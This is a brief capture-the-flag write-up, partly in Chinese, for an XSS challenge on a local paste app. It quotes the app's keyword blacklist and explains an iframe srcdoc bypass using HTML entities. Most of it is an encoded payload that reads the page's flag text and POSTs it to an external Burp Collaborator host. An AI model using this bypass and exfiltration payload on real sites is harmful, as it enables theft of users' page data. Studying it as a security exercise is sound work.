if any(bad_string in msg for bad_string in ['script', 'svg', 'object', 'img', '/', ':', '>']):

使用iframe标签的srcdoc属性可以使用 &#;绕过
不闭合双引号可导致flag正文出现在我们的iframe子页面

report page send payload:
```
http://localhost:1337/pastes/flag?error=%3Ciframe%20src=%22%23%22srcdoc=%22<%26%23115;cript%26%2362;%26%23115;%26%23101;%26%23116;%26%2384;%26%23105;%26%23109;%26%23101;%26%23111;%26%23117;%26%23116;%26%2340;%26%2396;%26%23100;%26%2397;%26%23116;%26%2397;%26%2361;%26%23100;%26%23111;%26%2399;%26%23117;%26%23109;%26%23101;%26%23110;%26%23116;%26%2346;%26%23103;%26%23101;%26%23116;%26%2369;%26%23108;%26%23101;%26%23109;%26%23101;%26%23110;%26%23116;%26%23115;%26%2366;%26%23121;%26%2367;%26%23108;%26%2397;%26%23115;%26%23115;%26%2378;%26%2397;%26%23109;%26%23101;%26%2340;%26%2334;%26%23115;%26%23117;%26%2398;%26%23116;%26%23105;%26%23116;%26%23108;%26%23101;%26%2334;%26%2341;%26%2391;%26%2348;%26%2393;%26%2346;%26%23116;%26%23101;%26%23120;%26%23116;%26%2367;%26%23111;%26%23110;%26%23116;%26%23101;%26%23110;%26%23116;%26%2359;%26%23102;%26%23101;%26%23116;%26%2399;%26%23104;%26%2340;%26%2339;%26%23104;%26%23116;%26%23116;%26%23112;%26%2358;%26%2347;%26%2347;%26%23117;%26%23119;%26%23117;%26%23119;%26%23110;%26%23104;%26%2357;%26%2350;%26%23101;%26%2349;%26%2356;%26%23113;%26%2397;%26%23112;%26%23122;%26%23117;%26%2355;%26%2350;%26%23116;%26%2350;%26%23103;%26%23117;%26%2353;%26%2349;%26%2355;%26%23115;%26%23100;%26%23107;%26%2349;%26%2357;%26%2346;%26%2398;%26%23117;%26%23114;%26%23112;%26%2399;%26%23111;%26%23108;%26%23108;%26%2397;%26%2398;%26%23111;%26%23114;%26%2397;%26%23116;%26%23111;%26%23114;%26%2346;%26%23110;%26%23101;%26%23116;%26%2347;%26%23115;%26%2397;%26%2397;%26%2397;%26%2339;%26%2344;%26%23123;%26%23109;%26%23101;%26%23116;%26%23104;%26%23111;%26%23100;%26%2358;%26%2332;%26%2339;%26%2380;%26%2379;%26%2383;%26%2384;%26%2339;%26%2344;%26%2398;%26%23111;%26%23100;%26%23121;%26%2358;%26%2332;%26%23100;%26%2397;%26%23116;%26%2397;%26%23125;%26%2341;%26%2396;%26%2344;%26%2351;%26%2348;%26%2348;%26%2348;%26%2341;%26%2359;<%26%2347;%26%23115;cript%26%2362;
```

burpcollaborator get flag :)